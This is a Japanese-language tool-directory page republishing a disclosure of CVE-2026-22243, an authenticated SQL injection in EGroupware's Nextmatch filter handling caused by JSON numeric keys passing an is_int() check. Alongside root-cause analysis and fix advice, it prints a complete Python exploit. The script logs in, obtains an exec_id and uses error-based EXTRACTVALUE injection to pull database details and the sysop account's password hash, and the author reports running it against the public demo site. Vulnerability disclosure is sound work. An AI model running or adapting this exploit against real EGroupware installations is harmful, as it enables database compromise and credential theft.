Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-22243 — CVE-2026-22243 - EGroupware の Nextmatch フィルター処理に SQL インジェクション | Kitploit
ツール/GitHubGitHub/lukasz-rybak/cve-2026-22243
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHublukasz-rybak/cve-2026-22243

CVE-2026-22243

CVE-2026-22243 - EGroupware の Nextmatch フィルター処理に SQL インジェクション

リポジトリを見る
135ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-22243: EGroupware の Nextmatch フィルター処理における SQL インジェクション

概要

フィールド詳細
CVE IDCVE-2026-22243
深刻度HIGH
アドバイザリアドバイザリを表示
発見者Lukasz Rybak

影響を受ける製品

  • egroupware/egroupware (バージョン: < 23.1.20260113)
  • egroupware/egroupware (バージョン: >= 26.0.20251208, < 26.0.20260113)

CWE 分類

  • CWE-89: SQL コマンドに使用される特殊要素の不適切な無効化 ('SQL Injection')

詳細

概要

Nextmatch ウィジェットのフィルター処理における重大な認証済み SQL インジェクション

EGroupware のコアコンポーネント、特に Nextmatch フィルター処理に重大な SQL インジェクションの脆弱性が存在します。この欠陥により、認証済みの攻撃者が任意の SQL コマンドをデータベースクエリの WHERE 句に注入できるようになります。これは、JSON デコードによって数値文字列が整数に変換され、アプリケーションが使用する is_int() セキュリティチェックをバイパスする、PHP の型ジャグリングの問題を悪用することで達成されます。

詳細

根本原因の分析 この脆弱性は、データベース抽象化レイヤー (Api\Db) と高レベルストレージクラス (Api\Storage\Base、infolog_so) が "Nextmatch" ウィジェットで使用される col_filter 配列を処理する方法に存在します。

アプリケーションは is_int($key) を使用して入力を検証し、配列キーが信頼すべき生の SQL フラグメントを表すかどうかを判断しようとします。しかし、JSON ベースの POST リクエストを処理する際、PHP の json_decode は数値文字列キー (例: "0") を自動的にネイティブの整数に変換します。

その結果、攻撃者は数値キーを含む連想配列を持つ JSON ペイロードを送信できます。アプリケーションはこれらのキーを整数として解釈し (is_int が true を返す)、悪意のある SQL を含む関連付けられた値を盲目的にクエリに直接追加します。

脆弱なコード箇所

  1. ファイル: sources/egroupware/api/src/Db.php (約 1776 行目) メソッド: column_data_implode
// In function column_data_implode
elseif (is_int($key) && $use_key===True) {
     if (empty($data)) continue;
     // VULNERABLE: $data is appended directly to SQL without sanitization
     $values[] = $data; 
}
  1. ファイル: sources/egroupware/api/src/Storage/Base.php (約 1134 行目) メソッド: parse_search
// In function parse_search
foreach($criteria as $col => $val) {
     // VULNERABLE: is_int() returns true for JSON keys like "0"
     if (is_int($col)) {
         $query[] = $val; 
     }
     // ...
}

PoC

私はローカルの Docker インスタンスでこの脆弱性を検証し、公開デモインスタンス (demo.egroupware.net) で (読み取り専用で) 確認しました。

自動化エクスプロイトスクリプト: 以下のスクリプトは、ログイン、exec_id の抽出、およびエラーベース SQL インジェクションによるデータの外部送信を自動化します。

import requests
import re
import sys
import urllib3

# Suppress SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# CLI Configuration
BASE_URL = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else "http://localhost:8088/egroupware"
LOGIN_USER = sys.argv[2] if len(sys.argv) > 2 else "sysop"
LOGIN_PASS = sys.argv[3] if len(sys.argv) > 3 else "password123"

session = requests.Session()
session.verify = False
session.headers.update({
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
})

def extract_form_inputs(html):
    inputs = {}
    matches = re.findall(r'<input[^>]+>', html)
    for match in matches:
        name_m = re.search(r'name=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2B)["\']', match)
        value_m = re.search(r'value=["\'](https://github.com/lukasz-rybak/cve-2026-22243/blob/main/%5B%5E%22%5C%27%5D%2A)["\']', match)
        if name_m:
            name = name_m.group(1)
            value = value_m.group(1) if value_m else ""
            inputs[name] = value
    return inputs

def login():
    print(f"[*] Target: {BASE_URL}")
    login_url = f"{BASE_URL}/login.php"
    
    try:
        print("[*] Retrieving login form...")
        r_get = session.get(login_url, timeout=10)
        
        data = extract_form_inputs(r_get.text)
        
        data.update({
            "login": LOGIN_USER,
            "passwd": LOGIN_PASS,
            "submitit": "Login",
            "passwd_type": "text"
        })
        
        if 'cancel' in data: del data['cancel']

        print(f"[*] Attempting login as: {LOGIN_USER}...")
        r_post = session.post(login_url, data=data, allow_redirects=True, timeout=15)
        
        if 'name="passwd"' in r_post.text and 'logout.php' not in r_post.text:
            print("[-] Login failed. Server returned login form.")
            return False
            
        print("[+] Login successful.")
        return True
    except Exception as e:
        print(f"[-] Critical error during login: {e}")
        return False

def get_exec_id():
    print("[*] Retrieving exec_id...")
    url = f"{BASE_URL}/index.php?menuaction=addressbook.addressbook_ui.index"
    try:
        r = session.get(url, timeout=10)
        
        match = re.search(r'etemplate_exec_id(?:&quot;|"|\\")\s*:\s*(?:&quot;|"|\\")([^&"\\]+)', r.text)
        
        if match:
            eid = match.group(1)
            print(f"[+] ID found: {eid}")
            return eid
        else:
            if 'name="passwd"' in r.text:
                print("[-] Session expired or login failed.")
            else:
                print("[-] exec_id pattern not found in source code.")
    except Exception as e:
        print(f"[-] Error retrieving ID: {e}")
    return None

def run_query(eid, sql):
    full = ""
    url = f"{BASE_URL}/json.php?menuaction=EGroupware\\Api\\Etemplate\\Widget\\Nextmatch::ajax_get_rows"
    
    print(f"[*] Executing SQLi: {sql}")
    
    for offset in range(1, 201, 30):
        chunk_sql = f"SUBSTRING(({sql}), {offset}, 30)"
        payload = f"1=1 AND EXTRACTVALUE(1, CONCAT(0x7e, ({chunk_sql}), 0x7e))"
        
        post_data = {
            "request": {
                "parameters": [eid, {"start": 0, "num_rows": 1}, {"col_filter": {"0": payload}}]
            }
        }
        
        try:
            r = session.post(url, json=post_data, timeout=10)
            
            match = re.search(r"XPATH syntax error: '~(.*)~'", r.text)
            if not match:
                match = re.search(r"~([^~]+)~", r.text)
            
            if match:
                chunk = match.group(1)
                if "..." in chunk: chunk = chunk.replace("...", "")
                
                full += chunk
                if len(chunk) < 1: break
            else:
                break
                
        except Exception as e:
            print(f"[-] Query error: {e}")
            break
            
    return full if full else "NO DATA / ERROR"

if __name__ == "__main__":
    if login():
        eid = get_exec_id()
        if eid:
            print("\n" + "="*40)
            print(" SQL INJECTION RESULTS ")
            print("="*40)
            print(f"[+] DB Version: {run_query(eid, 'SELECT @@version')}")
            print(f"[+] DB Name:    {run_query(eid, 'SELECT database()')}")
            print(f"[+] DB User:    {run_query(eid, 'SELECT user()')}")
            
            print("\n[*] Retrieving hash for 'sysop' user (if exists):")
            res = run_query(eid, "SELECT CONCAT(account_lid,':',account_pwd) FROM egw_accounts WHERE account_lid='sysop'")
            print(f" > {res}")
            print("="*40 + "\n")

demo.egroupware.net での検証の証明:

私は公開デモに対してスクリプトを実行し、本番環境に近い環境での悪用可能性を (読み取り専用で) 確認しました。 image

影響: 低権限アクセスを持つ攻撃者はデータベースを完全に侵害できます。これにより以下のことが可能になります:

  • 機密性の喪失: 機密データの読み取り (例: パスワードハッシュ、セッショントークン、個人の連絡先詳細、設定の秘密情報)。
  • 完全性の喪失: アプリケーション内の任意のデータの変更または削除。
  • 可用性の喪失: テーブルの削除やデータの破損の可能性。

修正方法

1. 入力検証 (ホワイトリスト方式) 外部入力、特にキーが数値文字列になり得る JSON データを処理する際に、セキュリティ判断を is_int() のみに依存しないでください。Nextmatch ウィジェットでのフィルタリングに使用できるカラム名の厳格なホワイトリスト (許可リスト) を実装してください。キー/カラムがホワイトリストにない場合は、リクエストを拒否します。

2. パラメータバインド すべてのフィルター値が SQL 文字列に直接連結されるのではなく、パラメータ (プリペアドステートメント) としてバインドされることを確認してください。

3. 厳格な型チェック JSON 入力を処理する際、キーが SQL 生成ロジックで使用される前に、期待される型に対して厳密にチェックされることを確認してください (例: 厳密比較には ===、または filter_var を使用)。

クレジット

Łukasz Rybak によって報告されました

参考情報

ツールをダウンロード